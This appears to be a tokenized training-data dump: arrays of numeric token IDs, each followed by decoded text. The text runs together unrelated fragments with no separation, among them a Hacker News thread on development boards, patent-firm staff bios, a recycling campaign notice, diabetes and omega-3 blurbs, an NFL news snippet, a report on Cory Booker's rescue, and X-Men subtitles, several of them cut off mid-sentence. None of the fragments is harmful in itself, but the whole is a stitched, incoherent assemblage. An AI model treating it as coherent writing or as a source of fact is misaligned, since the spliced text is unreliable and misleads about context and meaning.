4114, 27, 187, 187, 2641, 37, 15, 275, 18033, 13428, 13416, 13, 2499, 273, 40892, 13, 22783, 187, 187, 20133, 273, 6875, 275, 26024, 31958, 13, 329, 274, 10034, 2499, 13, 22783, 187, 187, 43, 518, 706, 367, 3941, 8243, 187, 187, 43, 518, 706, 367, 3941, 8243, 310, 247, 5284, 11754, 10158, 285, 11731, 273, 15527, 25588, 4276, 52, 15, 9613, 23569, 15527, 25588, 32319, 706, 369, 7832, 275, 581, 273, 253, 6253, 9469, 23304, 666, 275, 22783, 15, 187, 187, 43, 518, 706, 15814, 2793, 432, 3055, 3946, 347, 973, 347, 4646, 25180, 19267, 4413, 13, 1690, 1097, 253, 12314, 285, 253, 6510, 1080, 4491, 15, 3032, 2793, 12093, 9469, 29157, 15561, 13, 4320, 11626, 13, 1955, 35252, 285, 2087, 9469, 789, 13, 824, 347, 34318, 13, 14079, 13, 285, 10266, 789, 15, 754, 556, 247, 11080, 3640, 273, 5284, 285, 26304, 3946, 13, 285, 556, 8379, 4307, 342, 6890, 253, 26304, 3946, 1561, 253, 2170, 273, 24864, 6055, 28460, 15, 187, 187, 43, 518, 706, 556, 275, 1798, 2793, 1561, 7813, 6875, 313, 21107, 342, 19267, 84, 13, 18090, 285, 1794, 24377, 582, 13729, 290, 5036, 285, 20877, 38846, 13, 285, 556, 4307, 342, 1027, 1232, 10296, 13, 3520, 47112, 285, 4095, 13, 347, 973, 347, 3694, 2905, 47112, 15, 45, 48075, 285, 6495, 4716, 78, 38007, 6456, 403, 8109, 253, 5057, 322, 7551, 27070, 2, 28604, 4544, 15, 187, 187, 3633, 322, 7551, 27070, 2, 310, 247, 747, 13, 794, 285, 4217, 1039, 281, 1089, 562, 670, 849, 512, 16308, 273, 1841, 476, 320, 37470, 13, 294, 3197, 390, 1234, 321, 7334, 432, 27070, 6456, 15, 3267, 10899, 273, 253, 28604, 15284, 310, 247, 1895, 275, 27070, 285, 247, 1029, 1180, 273, 841, 403, 20948, 387, 253, 20898, 4568, 9920, 272, 33436, 313, 6784, 39, 10, 1046, 2129, 342, 1841, 751, 2739, 8138, 390, 16076, 295, 1212, 447, 275, 731, 534, 452, 281, 320, 5055, 562, 407, 1133, 2, 187, 6872, 476, 671, 523, 312, 4024, 253, 18490, 494, 4957, 3304, 253, 7351, 2403, 253, 2644, 7351, 49590, 323, 28604, 15, 1623, 253, 747, 4422, 4850, 7551, 18835, 15, 1940, 15, 2788, 368, 476, 1089, 562, 1491, 13, 755, 12192, 285, 7535, 285, 12119, 634, 7963, 670, 28604, 275, 27070, 15, 14947, 34050, 6258, 310, 253, 1533, 457, 84, 6253, 8401, 11891, 4544, 15, 831, 807, 457, 84, 10014, 13, 10168, 285, 34050, 13, 18653, 253, 6349, 273, 2289, 323, 512, 2255, 342, 8401, 281, 4730, 13, 1971, 285, 1557, 15, 43516, 2499, 8896, 16, 19339, 273, 43516, 275, 14448, 342, 39896, 257, 2788, 3690, 15, 4102, 16318, 253, 6349, 273, 2393, 5481, 273, 17435, 26965, 15819, 313, 4976, 10, 275, 2255, 275, 21938, 11387, 884, 36215, 4855, 275, 48760, 14, 20, 187, 187, 1147, 434, 1175, 2181, 323, 1966, 12461, 326, 690, 6773, 3153, 275, 5412, 12685, 15, 3808, 273, 253, 39100, 275, 5412, 7779, 6773, 2882, 273, 1048, 13, 465, 750, 264, 6315, 13178, 13, 534, 7522, 598, 2317, 281, 823, 29491, 15, 2053, 403, 1029, 14, 15177, 40639, 14, 20, 9532, 13, 253, 19809, 285, 399, 10114, 326, 403, 5667, 281, 1966, 1495, 15, 14847, 24791, 13, 4797, 9750, 246, 9821, 13, 14847, 5315, 413, 1661, 285, 11886, 729, 447, 403, 3340, 1175, 4973, 15, 187, 187, 1552, 44279, 3249, 342, 11559, 7660, 15, 3973, 310, 253, 1953, 273, 32435, 15, 380, 4797, 9750, 246, 9821, 3072, 13, 323, 1650, 13, 310, 1146, 33661, 407, 689, 71, 3647, 15, 831, 6773, 778, 320, 7270, 275, 4088, 326, 990, 3751, 6150, 31082, 868, 13, 11260, 285, 643, 23816, 15, 23645, 21976, 13, 327, 253, 643, 1133, 13, 476, 3727, 36306, 715, 1980, 12685, 15, 1244, 604, 597, 8773, 13, 253, 6389, 6773, 476, 29138, 7925, 4956, 3417, 15, 187, 187, 32473, 5252, 310, 1529, 2523, 15, 3808, 1077, 1175, 4956, 14, 68, 4551, 4973, 273, 40639, 14, 20, 403, 387, 253, 1755, 273, 253, 2739, 5931, 15, 6101, 34404, 275, 253, 6773, 597, 6008, 476, 29010, 275, 616, 15447, 15, 36091, 33254, 310, 581, 973, 14, 34023, 1650, 15, 187, 187, 38, 839, 6773, 13, 1880, 323, 40639, 14, 20, 390, 667, 1921, 13, 19539, 253, 15799, 275, 8958, 835, 634, 2739, 3249, 432, 15, 9031, 839, 4834, 327, 634, 2739, 6186, 285, 697, 3486, 327, 253, 3126, 310, 271, 8149, 273, 673, 285, 3434, 15, 380, 2075, 2727, 310, 247, 33696, 1495, 323, 368, 285, 323, 253, 8859, 15, 187, 187, 4153, 14, 20, 275, 13303, 4632, 15, 10351, 1314, 1023, 33458, 187, 187, 1909, 342, 952, 313, 395, 6244, 285, 643, 3811, 1841, 582, 6773, 403, 752, 597, 6008, 15, 2064, 434, 1774, 281, 4456, 672, 10941, 40639, 14, 20, 275, 2080, 1314, 6773, 342, 326, 275, 4956, 14, 68, 4551, 6773, 15, 13303, 14, 68, 4551, 38807, 326, 6008, 39341, 285, 643, 6773, 403, 3626, 28265, 273, 40639, 14, 20, 15, 10351, 1314, 6773, 326, 403, 10208, 6773, 11484, 390, 39341, 26434, 403, 347, 973, 15, 6975, 17228, 13, 2299, 13, 690, 6773, 403, 10208, 327, 19786, 285, 19175, 11484, 15, 1284, 247, 906, 13, 597, 452, 625, 2159, 14, 10050, 329, 5696, 285, 1679, 1048, 14, 10050, 19809, 285, 399, 10114, 15, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4590, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 746, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 3953, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 38447, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 2222, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 1797, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4196, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 50142, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4148, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 1508, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4185, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 44566, 94, 187, 28794, 398, 7216, 457, 84, 3394, 20588, 9728, 281, 564, 1345, 342, 1941, 187, 187, 7510, 8855, 17245, 715, 247, 7145, 1309, 247, 4131, 285, 9055, 273, 44279, 16936, 326, 574, 690, 12371, 1880, 253, 13946, 369, 4704, 281, 13341, 562, 13, 253, 9728, 4425, 281, 755, 745, 253, 1111, 285, 440, 2799, 15, 7216, 457, 84, 4804, 342, 1249, 2758, 273, 253, 3420, 3589, 457, 85, 9355, 275, 7170, 15, 733, 4592, 1754, 327, 253, 3394, 273, 253, 2866, 6791, 263, 48038, 329, 15, 45428, 273, 35699, 4824, 247, 3416, 562, 273, 247, 13195, 2419, 285, 369, 4127, 323, 11283, 43431, 327, 8216, 2360, 15, 187, 187, 7710, 15, 45428, 7244, 281, 521, 1728, 275, 253, 24120, 9662, 7061, 9168, 281, 1089, 247, 6346, 457, 84, 2419, 327, 3289, 13, 753, 17467, 38295, 13, 247, 35027, 15, 380, 8726, 4487, 574, 417, 2568, 7244, 13, 703, 753, 13, 285, 2305, 15, 45428, 2427, 3304, 342, 767, 2758, 273, 521, 3988, 2508, 285, 28187, 581, 3416, 15, 380, 14967, 369, 4127, 387, 247, 4675, 285, 4439, 387, 1903, 27, 1229, 268, 15, 78, 15, 773, 23631, 310, 473, 15, 44, 904, 668, 10137, 15, 38295, 4159, 275, 271, 299, 14, 5719, 15, 187, 187, 6586, 35699, 18308, 48038, 45428, 18451, 1051, 8359, 19872, 16, 36597, 456, 5687, 187, 187, 7710, 15, 45428, 13, 275, 958, 13, 369, 973, 2217, 281, 1501, 247, 7879, 3935, 15, 773, 8061, 374, 512, 665, 403, 7514, 1806, 344, 4159, 846, 884, 268, 15, 78, 15, 773, 6300, 9958, 11283, 43431, 15, 844, 1694, 253, 3416, 562, 273, 253, 2419, 15, 844, 403, 1097, 745, 281, 4675, 15, 309, 588, 270, 8718, 1425, 32841, 281, 871, 752, 36158, 253, 1821, 432, 253, 8290, 32, 2207, 253, 1943, 6838, 432, 253, 40992, 270, 4462, 447, 32, 187, 187, 34, 2266, 13, 973, 14, 35208, 896, 2189, 15, 187, 187, 22191, 368, 1472, 2819, 281, 25903, 327, 253, 24122, 1673, 390, 1302, 13, 4352, 4653, 434, 275, 253, 17409 ]	! Get THIS game!. … Expand What development board to use - t3rcio http://hackaday.com/2011/02/01/what-development-board-to-use/ ====== makmanalp The pandaboard is amazing. I mean, dual core A9 processor, 1080p video with a DSP, wlan, 3 usb ports, JTAG, expansion headers in a neat tiny package all for $175? Damn. It could be a seedbox, NAS and dedicated video / music player all in one, or you could use it for your next robotics project to do on board processing on your quadcopter! ------ JoachimSchipper Note that at least the $4.30 MSP430 does seem to have open-source support, e.g. <http://mspgcc.sourceforge.net/>, ~~~ Nick_C Wow, can't go wrong for that price. Bonus, as it doesn't need a power supply, it uses the USB's. They accept international orders so I've ordered one _with free shipping_ to Australia. ~~~ Nick_C For anyone who comes back and reads this later, the package arrived two business days after placing the order. I'm still pretty amazed I got it, delivered to Australia, for $4.30. ------ zdw FYI, If you want a full system, the Insignia Infocast, which is a Best Buy rebranded chumby, is in the $80-100 range. 8" touchscreen, 800Mhz ARM processor, and runs OE: <http://www.bunniestudios.com/blog/?p=1435> it's a nice starting point, if you're looking for an already mostly there system. ------ swalberg I'm not sure why they always seem to be left out these days, but Microchip PIC micros are great for learning this kind of stuff. There are lots of cheap programmers available, most of the chips are available in DIP format to use with a breadboard, and they have the most generous sample program ever. Who are VALUA? VALUA identifies the right people for the problem at hand, such as engineers, lawyers and patent attorneys, depending on each individual task. Lea Langdeel Pedersen, MD, Patent Attorney. Lea has previously worked as a junior doctor, and has extensive academic knowledge of anatomy, physiology, somatic and psychiatric disorders, as well as pharmaceuticals. Educational background: Master of Science in Medicine, University of Copenhagen, Denmark Khoa Huynh, Patent Attorney. Khoa is specialized in medicinal chemistry, where he has performed a SAR-study on neuronal nicotine acetylcholine receptors. His field of expertise also includes organic chemistry and pharmacology. Educational background: Master of Science in Pharmaceutical Sciences, University of Copenhagen, Denmark Sofie Hørlyck, Patent Attorney. Sofie holds a Ph.D. in Pharmaceutical Sciences from the University of Copenhagen, which gives her a broad knowledge of molecular biology, biochemistry and pharma. Educational background: PhD. in Pharmaceutical Sciences, University of Copenhagen, Denmark Master of Science in Molecular Biology, Aarhus University, Denmark Jakob Poulsen Jakob Poulsen is a European Patent Attorney and CEO of VALUA ApS. Before founding VALUA Jakob was partner in one of the largest patent bureaus in Denmark. Jakob carries experience from private practice as well as medium sized pharmaceutical companies, including both the generic and the originator industry. His experience comprises patent infringement litigation, legal opinions, due diligence and general patent work, such as drafting, prosecution, and opposition work. He has a thorough knowledge of European and Danish practice, and has successfully worked with changing the Danish practice within the area of supplementary protection certificates. Jakob has in particular experience within Life Science (working with pharmaceuticals, chemistry and biotechnology), Greentech and Nanotech, and has worked with different process technologies, physical inventions and devices, as well as software related inventions.Loughton and Great Holm Parish Council are supporting the Get Sorted MK! recycling campaign. Get Sorted MK! is a new, fun and useful way to find out about how all sorts of things can be recycled, reused or repurposed from MK Council. Contamination of the recycling bags is a problem in MK and a high number of these are arriving at the Materials Recycling Factory (MRF) every week with things like food waste or dirty nappies in them which have to be picked out by hand! These can also contaminate the recyclable items inside the bag making the whole bag unsuitable for recycling. On the new website getsortedmk.co.uk you can find out information, get tips and advice and upload your photos about recycling in MK.World Diabetes Day is the world’s largest diabetes awareness campaign. This year’s theme, Women and Diabetes, promotes the importance of access for all women with diabetes to education, treatment and care. Oslo University Hospital/University of Oslo in collaboration with Eyenuk Inc. recently highlighted the importance of early detection of diabetic retinopathy (DR) in women in […]Top 10 Foods High in Omega-3 It's good thing for human nutrition that some fish live in cold waters. Some of the fats in coldwater fish consist of long, kinked carbon chains, which fill up space to add insulation. These are high-quality omega-3 acids, the EPA and DHA that are essential to human life. Atlantic salmon, bluefin tuna, Atlantic mackerel and anchovies are especially good sources. This bounty comes with strings attached. First is the question of sustainability. The bluefin tuna population, for example, is being depleted by overfishing. This fish may be caught in ways that endanger sea turtles, birds and other wildlife. Fish farms, on the other hand, can release contaminants into local waters. And if they escape, the farm fish can threaten native wild species. Food safety is another issue. Some very good wild-caught sources of omega-3 are at the top of the food chain. Any toxins in the fish they eat can accumulate in their flesh. Mercury poisoning is one well-documented example. Eating fish, whether for omega-3 or any reason, proves the wisdom in knowing where your food comes from. Educating yourself on your food supply and its impact on the environment is an investment of time and effort. The payoff is a healthier life for you and for the planet. Omega-3 in Wild vs. Farmed Seafood As with people (and plants and other living things), fish are what they eat. That's important to remember when comparing omega-3 in farmed fish with that in wild-caught fish. Wild-caught seafood that eat algae and other fish are natural suppliers of omega-3. Farmed fish that are fed fish meal or algae supplements are as well. Like cattle, however, some fish are fed on grains and soy meal. As a result, they have more short-chain ALA and less long-chain EPA and DHA.![](brjcancer00049-0193.tif "scanned-page"){.619} ![](brjcancer00049-0194.tif "scanned-page"){.620} ![](brjcancer00049-0195.tif "scanned-page"){.621} ![](brjcancer00049-0196.tif "scanned-page"){.622} ![](brjcancer00049-0197.tif "scanned-page"){.623} ![](brjcancer00049-0198.tif "scanned-page"){.624} Packers Monday’s events prompted league to go public with evidence Feeling backed into a corner during a morning and afternoon of bounty developments that had some wondering whether the NFL was ready to tap out, the league decided to get off the mat and unload. Monday’s meeting with 12 members of the media wasn’t planned in advance. It happened based on the events of the…Mayor Cory A. Booker of Newark carried a woman out of a burning house and was treated for smoke inhalation on Thursday night. Mr. Booker arrived to his home in the Upper Clinton Hill neighborhood to find a neighbor’s house on fire, said Anne Torres, a spokeswoman. The Fire Department had not yet arrived, she said, and Mr. Booker went inside with two members of his security detail and rescued one woman. The mayor was treated at a hospital and released at 11:30 p.m. “Everyone is O.K.,” Ms. Torres wrote in an e-mail. Image Newark Mayor Cory Booker Credit... Mel Evans/Associated Press Mr. Booker, in fact, was well enough to post a Twitter message. “Thanks 2 all who are concerned,” he wrote after 10 p.m. “Just suffering smoke inhalation. We got the woman out of the house. We are both off to hospital. I will b ok.”Want to know what separates the men from the boys? Or the big girls from the cardio bunnies? A strong, well-developed backside. Whether you're looking to dominate on the athletic field or court, hit PR's in the gym
[ 1292, 309, 476, 1361, 368, 449, 346, 309, 1158, 368, 971, 281, 1918, 617, 253, 16498, 449, 346, 7745, 387, 7493, 449, 346, 1394, 5339, 253, 637, 368, 7636, 984, 368, 4571, 626, 1453, 634, 1612, 449, 346, 2302, 1476, 346, 15021, 352, 1476, 346, 2773, 434, 352, 449, 346, 36751, 13, 1339, 479, 275, 449, 346, 2302, 13, 13089, 449, 346, 36751, 1476, 346, 5498, 626, 1339, 352, 1453, 368, 449, 346, 27515, 449, 346, 3220, 11761, 449, 346, 8380, 342, 479, 449, 346, 2302, 449, 346, 13618, 1476, 346, 1231, 3153, 275, 271, 2363, 273, 13862, 449, 346, 34, 1533, 2120, 273, 4709, 13, 9239, 285, 45458, 449, 346, 1989, 275, 1046, 2363, 13, 627, 403, 1110, 665, 3819, 1411, 352, 449, 346, 27515, 49365, 369, 5686, 281, 247, 1533, 4272, 449, 346, 34, 1533, 344, 3597, 281, 20658, 449, 346, 34, 7517, 344, 1620, 3047, 14123, 449, 346, 1147, 3133, 253, 31776, 273, 1270, 1821, 281, 923, 616, 7342, 440, 1020, 14653, 449, 346, 27515, 369, 625, 685, 247, 6657, 13, 625, 685, 247, 9732, 449, 346, 1328, 369, 247, 3331, 449, 346, 3039, 359, 497, 9202, 13, 344, 3534, 441, 4757, 449, 346, 1898, 672, 359, 497, 3815, 13, 344, 3534, 441, 247, 2021, 449, 346, 7161, 332, 359, 778, 564, 13, 359, 1364, 4459, 327, 521, 8113, 449, 346, 1898, 326, 434, 247, 8113, 273, 247, 1533, 25536, 449, 346, 18938, 555, 449, 346, 35, 18846, 449, 346, 1422, 10826, 865, 346, 11739, 449, 346, 1147, 434, 816, 3255, 346, 57, 28024, 2210, 281, 619, 2419, 449, 346, 1328, 369, 253, 581, 326, 13762, 479, 281, 1705, 1060, 449, 346, 6506, 13, 479, 1512, 449, 346, 844, 1472, 512, 5471, 253, 1072, 1039, 13, 368, 871, 449, 346, 1621, 13, 24707, 13, 359, 1472, 417, 449, 346, 1394, 452, 11445, 489, 285, 309, 452, 3255, 346, 1394, 871, 13, 309, 816, 2985, 1728, 449, 346, 510, 806, 8762, 285, 512, 326, 449, 346, 43947, 13, 755, 598, 449, 346, 8380, 342, 479, 449, 346, 25005, 2183, 441, 281, 3297, 275, 776, 9956, 449, 346, 5498, 626, 7664, 449, 346, 1231, 1912, 626, 755, 7270, 449, 346, 42, 1599, 13, 368, 476, 2940, 949, 8099, 13, 368, 871, 449, 346, 8380, 327, 449, 346, 1552, 1659, 476, 320, 1728, 1512, 449, 346, 8398, 368, 323, 436, 13, 24707, 449, 346, 1394, 878, 247, 8488, 13, 5772, 865, 346, 2302, 449, 346, 7161, 403, 368, 1469, 865, 346, 1394, 1053, 626, 871, 752, 352, 434, 751, 281, 320, 9202, 273, 634, 9136, 13, 9202, 281, 755, 2810, 281, 13098, 449, 346, 6506, 13, 309, 513, 449, 346, 42, 971, 281, 320, 2104, 281, 5181, 952, 13, 31755, 449, 346, 34, 15729, 449, 346, 34, 1133, 35350, 449, 346, 34, 10135, 449, 346, 42, 3524, 368, 1472, 417, 2509, 436, 323, 690, 5006, 449, 346, 7745, 13, 604, 368, 17341, 564, 13, 840, 564, 449, 346, 6300, 320, 2119, 352, 434, 752, 368, 971, 449, 346, 18837, 79, 626, 368, 320, 7746, 479, 281, 3297, 865, 346, 1992, 564, 24311, 285, 45737, 865, 346, 42, 1353, 417, 634, 3392, 449, 346, 42, 1353, 634, 3331, 449, 346, 6300, 1158, 670, 752, 309, 753, 13, 11445, 489, 449, 346, 44617, 449, 346, 44617, 449, 346, 21914, 672, 359, 806, 1313, 865, 346, 4045, 368, 871, 752, 309, 3047, 672, 309, 3261, 387, 368, 865, 346, 42, 3047, 253, 1735, 3924, 275, 5606, 1097, 8444, 285, 309, 7156, 85, 273, 4560, 449, 346, 1898, 309, 1869, 281, 4266, 13, 346, 4967, 651, 8444, 971, 281, 1614, 436, 33764, 715, 247, 32144, 865, 3, 346, 42, 476, 26526, 253, 5148, 275, 436, 13, 533, 368, 13, 368, 476, 513, 2712, 449, 346, 38714, 368, 476, 1158, 273, 449, 346, 36751, 449, 346, 3546, 602, 449, 346, 3546, 602, 449, 346, 1394, 3590, 816, 751, 779, 449, 346, 36751, 13, 344, 3078, 281, 2186, 368, 896, 449, 346, 1737, 513, 368, 971, 865, 346, 309, 971, 368, 281, 320, 752, 368, 403, 449, 346, 1909, 3753, 6034, 449, 346, 2773, 16498, 310, 5486, 323, 512, 273, 441, 449, 346, 2042, 359, 971, 7185, 13, 359, 1364, 3819, 323, 352, 449, 346, 1898, 326, 3819, 9513, 1024, 449, 346, 2993, 10095, 626, 320, 1060, 342, 441, 449, 346, 4058, 1612, 310, 4336, 17631, 449, 346, 7214, 275, 253, 3430, 3564, 449, 346, 1244, 368, 4517, 617, 865, 346, 2993, 434, 581, 273, 731, 449, 346, 1893, 497, 368, 2378, 449, 346, 42, 10960, 342, 368, 449, 346, 17304, 452, 5339, 253, 11652, 604, 368, 1871, 1677, 479, 253, 4839, 449, 346, 27515, 49365, 858, 625, 323, 15396, 685, 368, 1833, 2455, 871, 449, 346, 3220, 2014, 6459, 14938, 310, 326, 344, 574, 281, 3150, 323, 776, 7156, 281, 3153, 449, 346, 2598, 752, 1024, 865, 346, 1276, 513, 359, 513, 865, 346, 57, 28024, 3053, 436, 2143, 449, 346, 16830, 352, 434, 1682, 326, 352, 990, 342, 779, 449, 346, 844, 1833, 2028, 253, 3484, 597, 1472, 1469, 1728, 449, 346, 5595, 273, 441, 1053, 626, 452, 9825, 281, 564, 449, 346, 42, 476, 626, 2868, 436, 449, 346, 42, 476, 626, 2868, 359, 1472, 417, 1469, 281, 3819, 323, 436, 2143, 449, 346, 42, 1353, 7016, 449, 346, 42, 871, 436, 310, 247, 3076, 673, 449, 346, 42, 369, 2183, 326, 436, 369, 247, 4999, 1659, 323, 15396, 449, 346, 1147, 369, 13, 3347, 449, 346, 1898, 352, 1335, 310, 449, 346, 1231, 1833, 1089, 368, 247, 2316, 449, 346, 41, 1164, 13, 2028, 512, 253, 3484, 253, 2143, 19931, 1527, 449, 346, 51, 14873, 449, 346, 8262, 13, 11445, 489, 449, 346, 18793, 13, 26411, 449, 346, 11778, 368, 2326, 11445, 489, 865, 346, 11739, 13, 703, 2335, 745, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 31755, 449, 346, 13089, 865, 346, 6800, 266, 449, 346, 7161, 717, 309, 865, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 31755, 449, 346, 21305, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 7900, 403, 368, 1469, 865, 346, 7900, 513, 368, 1158, 865, 346, 1500, 434, 4783, 13, 31755, 449, 346, 2993, 434, 417, 3551, 896, 449, 346, 1422, 1053, 626, 871, 326, 449, 346, 2993, 5339, 253, 11652, 449, 346, 1147, 3589, 626, 13089, 449, 346, 510, 13089, 309, 871, 310, 1335, 275, 627, 449, 346, 19577, 13, 2139, 476, 626, 368, 923, 253, 5083, 865, 346, 6049, 476, 626, 368, 816, 1339, 617, 564, 865, 346, 4923, 1051, 984, 3255, 346, 8457, 368, 2389, 617, 449, 346, 2993, 1160, 617, 4327, 449, 346, 4125, 352, 434, 673, 359, 1056, 20451, 449, 346, 2598, 604, 368, 1472, 342, 441, 13, 840, 320, 342, 441, 449, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 27347, 253, 16498, 594, 368, 476, 564, 896, 1728, 281, 2243, 2577, 285, 42219, 865, 346, 42, 1353, 2819, 323, 3095, 449, 346, 4013, 13, 309, 755, 352, 449, 346, 7093, 19609, 449, 346, 42, 15433, 703, 1871, 971, 253, 16498, 449, 346, 2993, 434, 40479, 449, 346, 8380, 327, 13, 22078, 1342, 449, 346, 13325, 247, 2118, 449, 346, 27970, 1711, 24707, 449, 346, 16812, 9202, 273, 247, 3819, 449, 346, 14569, 434, 2983, 369, 760, 776, 806, 3779, 5711, 449, 346, 2598, 1048, 347, 253, 16498, 4961, 13, 776, 2137, 588, 22324, 449, 346, 7093, 8238, 588, 417, 320, 4999, 449, 346, 7093, 10198, 588, 417, 320, 4999, 449, 346, 1394, 588, 417, 320, 4999, 449, 346, 1898, 281, 619, 7715, 15396, 13, 309, 1056, 368, 436, 3959, 3255, 346, 22196, 441, 390, 3297, 562, 273, 776, 1039, 449, 346, 3546, 602, 10500, 2614, 556, 644, 42893, 2168, 449, 346, 1231, 1472, 2820, 281, 3540, 731, 13, 8674, 449, 346, 1231, 1472, 2444, 1892, 449, 346, 844, 2550, 1339, 779, 513, 436, 449, 346, 1422, 871, 309, 5194, 13, 8674, 449, 346, 1552, 310, 1024, 247, 3872, 3988, 2647, 449, 346, 3251, 907, 285, 7895, 22607, 1597, 1299, 40840, 449, 346, 42, 971, 10824, 12360, 342, 16498, 8914, 18329, 4745, 449, 346, 1898, 1535, 1945, 13, 368, 452, 281, 1089, 18482, 16713, 285, 3523, 779, 407, 667, 2097, 3309, 449, 346, 47981, 16713, 5605, 247, 2137, 449, 346, 1231, 1833, 1918, 779, 581, 449, 346, 1466, 434, 564, 449, 346, 19515, 352, 4886, 449, 346, 22529, 275, 634, 1711, 10485, 449, 346, 22529, 275, 512, 5148, 449, 346, 24444, 251, 1507, 13, 22575, 13, 4370, 14610, 449, 346, 36942, 598, 634, 8013, 8914, 449, 346, 36942, 598, 634, 16498, 28719, 449, 346, 48462, 642, 5148, 449, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 3726, 5730, 281, 16498, 441, 449, 346, 1989, 309, 1333, 281, 368, 359, 403, 253, 16498, 449, 346, 510, 16498, 323, 326, 2192, 2683, 13, 35180, 1617, 1925, 2860, 80, 256, 6682, 561, 449, 346, 3726, 452, 616, 8914, 449, 346, 1231, 452, 20451, 449, 346, 1231, 588, 9974, 342, 247, 44625, 285, 247, 35959, 326, 436, 1533, 556, 1620, 21153, 449, 346, 1898, 604, 667, 15396, 1462, 275, 776, 1039, 13, 359, 588, 897, 436, 14537, 1411, 731, 449, 346, 1231, 3091, 564, 281, 1219, 8076, 5744, 8451, 13, 1379, 1453, 273, 253, 16498, 13, 285, 6909, 697, 2603, 449, 346, 1898, 840, 2717, 476, 3523, 441, 449, 346, 36751, 449, 346, 42, 871, 253, 13624, 273, 634, 38622, 386, 1514, 432, 247, 13915, 1977, 449, 346, 309, 1904, 626, 1705, 1060, 281, 3819, 368, 449, 346, 19778, 5006, 449, 346, 309, 2210, 323, 13089, 449, 346, 1422, 1158, 309, 1353, 7562, 617, 1411, 617, 588, 865, 346, 1500, 434, 1060, 984, 703, 5605, 281, 320, 449, 346, 1422, 1053, 626, 871, 752, 368, 1472, 10620, 342, 449, 346, 42, 871, 2120, 973, 449, 346, 42, 3047, 752, 703, 858, 281, 8444, 449, 346, 1898, 368, 6225, 627, 285, 1339, 779, 3150, 865, 346, 309, 1353, 417, 6108, 1060, 1293, 617, 449, 346, 6279, 13, 368, 403, 449, 346, 10249, 449, 346, 7910, 2909, 7357, 3816, 26196, 30571, 13, 2305, 3918, 449, 346, 1231, 452, 247, 15109, 3997, 273, 18482, 16713, 434, 2613, 273, 5871, 449, 346, 1359, 858, 359, 1089, 352, 865, 346, 1500, 3534, 441, 3253, 359, 3078, 449, 346, 39312, 29272, 642, 35959, 751, 247, 3416, 660, 39737, 449, 346, 30305, 5250, 2303, 3846, 6386, 449, 346, 4531, 323, 16951, 14, 14577, 1485, 2244, 279, 449, 346, 1552, 310, 10589, 23387, 281, 378, 41647, 2596, 449, 346, 1231, 403, 4759, 281, 564, 449, 346, 10249, 13, 5007, 731, 275, 449, 346, 10249, 449, 346, 14344, 2721, 13, 15396, 1476, 346, 3633, 634, 3564, 275, 253, 2329, 1476, 346, 41, 2287, 275, 253, 2329, 1476, 346, 10249, 449, 346, 42, 1918, 598, 449, 346, 15953, 13, 2305, 9526, 13, 352, 369, 247, 1086, 899, 449, 346, 2042, 344, 434, 417, 627, 13, 840, 835, 253, 7085, 310, 344, 865, 346, 56, 263, 1597, 1299, 40840, 449, 346, 1147, 7637, 835, 352, 3407, 449, 346, 6272, 368, 2119, 253, 5006, 310, 1335, 3304, 865, 346, 2233, 6, 449, 346, 2598, 849, 403, 359, 6326, 281, 755, 627, 865, 346, 38577, 309, 1053, 626, 10831, 449, 346, 30359, 326, 281, 479, 449, 346, 998, 526, 449, 346, 998, 526, 449, 346, 1276, 403, 368, 2509, 896, 1060, 865, 346, 42, 878, 1361, 449, 346, 1422, 1119, 617, 449, 346, 11739, 449, 346, 2993, 434, 342, 18482, 16713, 449, 346, 7900, 403, 597, 865, 346, 1623, 253, 2118, 449, 346, 42, 871, 835, 597, 1472, 1469, 449, 346, 1422, 1472, 3981, 368, 3047, 18482, 16713, 865, 346, 844, 17500, 564, 449, 346, 3726, 1472, 6501, 2983, 1219, 8076, 5744, 449, 346, 1707, 403, 10824, 38712, 327, 326, 8930, 449, 346 ]	But I can help you." " I think you want to give her the cure." "Look at Scott." "You killed the man you loved because you couldn't control your power." "No!" "Stop it!" "That's it." "Jean, let me in." "No, Jean." "Jean!" "Don't let it control you." "Charles." "My dear." "Come with me." "No." "God!" "We live in an age of darkness." "A world full of fear, hate and intolerance." "But in every age, there are those who fight against it." "Charles Xavier was born to a world divided." "A world he tried to heal." "A mission he never saw accomplished." "It seems the destiny of great men to see their goals unfulfilled." "Charles was more than a leader, more than a teacher." "He was a friend." "When we were afraid, he gave us strength." "And when we were alone, he gave us a family." "Wherever we may go, we must carry on his vision." "And that's a vision of a world united." "Kitty." "Bobby." " You OK?" " Yeah." "It's just..." "Xavier came to my house." "He was the one that convinced me to come here." "Yeah, me too." " We're all feeling the same way, you know." " No, Bobby, we're not." "You have Rogue and I have..." "You know, I just miss home." "The first snow and all that." " Kitty, get up." "Come with me." " Storm told us to stay in our rooms." "Don't worry." "We won't get caught." "I mean, you can walk through walls, you know." "Come on." "This place can be home too." "Thank you for this, Bobby." "You need a 